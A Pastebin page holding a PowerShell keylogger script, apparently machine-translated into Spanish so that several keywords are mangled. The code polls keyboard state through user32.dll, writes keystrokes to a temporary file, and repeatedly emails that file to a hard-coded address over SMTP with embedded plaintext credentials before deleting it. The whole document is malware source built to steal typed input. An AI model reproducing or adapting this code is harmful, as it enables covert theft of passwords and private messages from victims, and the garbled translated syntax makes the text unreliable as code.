Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ¡ Edita solo esta sección!
- $ TimesToRun = 2
- $ RunTimeP = 1
- $ De = "cyberalexis20@gmail.com"
- $ Pase = "depredad0r"
- $ To = "cyberalexis20@gmail.com"
- $ Asunto = " Resultados del registrador de teclas "
- $ body = " Resultados del keylogger "
- $ SMTPServer = " smtp.mail.com "
- $ SMTPPort = " 587 "
- $ credentials = new-object Management.Automation.PSCredential $ From , ( $ Pass | ConvertTo-SecureString - AsPlainText - Force)
- # ###########################
- # requiere -Versión 2
- función Start-KeyLogger ( $ Path = " $ env: temp \ keylogger.txt " )
- {
- # Firmas para llamadas API
- $ firmas = @ '
- [DllImport ("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
- público estático externo externo GetAsyncKeyState (int virtualKeyCode);
- [DllImport ("user32.dll", CharSet = CharSet.Auto)]
- public static extern int GetKeyboardState (byte [] keystate);
- [DllImport ("user32.dll", CharSet = CharSet.Auto)]
- public static extern int MapVirtualKey (uint uCode, int uMapType);
- [DllImport ("user32.dll", CharSet = CharSet.Auto)]
- public static extern int ToUnicode (uint wVirtKey, uint wScanCode, byte [] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
- '@
- # cargar firmas y hacer que los miembros estén disponibles
- $ API = Add-Type - MemberDefinition $ firmas - Nombre ' Win32 ' - API de espacio de nombres - PassThru
- # crear archivo de salida
- $ null = New-Item - Path $ Path - ItemType File - Forzar
- tratar
- {
- # crear bucle sin fin. Cuando el usuario presiona CTRL + C, finalmente bloquea
- # se ejecuta y muestra las pulsaciones de teclas recopiladas
- $ Runner = 0
- while ( $ TimesToRun -gt $ Runner ) {
- $ TimeStart = Get-Date
- $ TimeEnd = $ timeStart .addminutes ( $ RunTimeP )
- while ( $ TimeEnd -gt $ TimeNow ) {
- Start-Sleep - Milisegundos 40
- # escanea todos los códigos ASCII superiores a 8
- para ( $ ascii = 9 ; $ ascii -le 254 ; $ ascii ++ ) {
- # obtener el estado actual de la clave
- $ state = $ API :: GetAsyncKeyState ( $ ascii )
- # se presiona la tecla?
- if ( $ estado -eq -32767 ) {
- $ null = [ consola ] :: CapsLock
- # traducir el código de escaneo a código real
- $ virtualKey = $ API :: MapVirtualKey ( $ ascii , 3 )
- # obtener el estado del teclado para teclas virtuales
- $ kbstate = Byte de nuevo objeto [] 256
- $ checkkbstate = $ API :: GetKeyboardState ( $ kbstate )
- # preparar un StringBuilder para recibir la clave de entrada
- $ mychar = New-Object - TypeName System.Text.StringBuilder
- # traducir clave virtual
- $ success = $ API :: ToUnicode ( $ ascii , $ virtualKey , $ kbstate , $ mychar , $ mychar .Capacity , 0 )
- si ( $ éxito )
- {
- # agregar clave al archivo de registro
- [ System.IO.File ] :: AppendAllText ( $ Path , $ mychar , [ System.Text.Encoding ] :: Unicode)
- }
- }
- }
- $ TimeNow = Get-Date
- }
- $ Runner ++
- send-mailmessage - de $ de - a $ a - asunto $ Asunto - cuerpo $ cuerpo - Adjunto $ Ruta - smtpServer $ smtpServer - puerto $ SMTPPort - credencial $ credenciales - usessl
- Remove-Item - Path $ Path - fuerza
- }
- }
- finalmente
- {
- # abrir archivo de registro en el Bloc de notas
- salida 1
- }
- }
- # registra todas las pulsaciones de teclas hasta que se cancela la secuencia de comandos presionando CTRL + C
- # luego abrirá el archivo con los códigos clave recopilados
- Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement